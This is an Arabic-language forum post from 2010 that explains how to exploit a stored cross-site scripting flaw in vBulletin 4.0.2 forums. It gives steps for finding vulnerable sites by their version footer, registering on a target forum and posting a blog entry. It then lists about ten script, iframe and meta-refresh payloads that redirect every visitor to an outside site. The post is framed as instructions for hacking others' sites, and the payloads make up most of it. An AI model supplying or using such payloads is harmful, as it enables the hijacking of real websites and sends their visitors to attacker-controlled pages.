بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
بعد ان تم انزال ثغرة xss في منتديات الفي بي 4.0.2 وانا تأخرت لحتى نزلتها لكم لكني ما نسيتكم
الثغرة في موقع السكيورتي
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] شرح إستغلالها بسيط جدا
اول شيء دورك البحث هو:
Powered by vBulletin™ Version 4.0.2 Copyright © 2010 vBulletin Solutions, Inc. All rights reserved.
أول شيء نسجل عضوية في الموقع الذي نريد ان نخترقه
بعدها نقوم بدخول إلى مدونة المنتدى
ثم نقوم بإضافة موضوع جديد ونضع عنوانه ومحتواه هاذا الكود
الكودات موجوده تحت
اختار إللي يعجبك
ثم قوم بإعتماد الموضوع
ملاحظة الثغرة تعمل على النسخة 4.0.2
بعد اضافة الموضوع قوم بالذهاب الى الرئيسية وسوف ترى انه يحولك على الموقع اللي انت حطيته داخل الكود
قوم بإضافة احد هذه الأكواد
<html>"><script> location.href="http://www.aljyyosh.com/vb";</script></HTML>
-------------------------------------------------------------------------------
<body onfocus=" document.write('<frameset><frame src=http://www.aljyyosh.com/vb>')"
-------------------------------------------------------------------------------
">"">>>><script>location="http://www.aljyyosh.com/vb"</script>"""">
-------------------------------------------------------------------------------
<IFRAME WIDTH=20% HEIGHT=20 SRC="http://www.aljyyosh.com/vb">
-------------------------------------------------------------------------------
<iframe name="I1" width="1" height="1" src="http://www.aljyyosh.com/vb">>
-------------------------------------------------------------------------------
<iframe name="I1" width="1" height="1" get="http://www.aljyyosh.com/vb">
-------------------------------------------------------------------------------
">">><SCRIPTLANGUAGE="JavaScript"> window.location="http://www.aljyyosh.com/vb";</script>"
-------------------------------------------------------------------------------
">">><script language="JavaScript"> window.location= "http://www.aljyyosh.com/vb";</script>"
-------------------------------------------------------------------------------
<META HTTP-EQUIV="Refresh" CONTENT="0; url=http://www.aljyyosh.com/vb">
-------------------------------------------------------------------------------
<META HTTP-EQUIV="Refresh" CONTENT="0; url=http://www.aljyyosh.com/vb">
-------------------------------------------------------------------------------
الإثنين أكتوبر 04, 2010 8:33 pm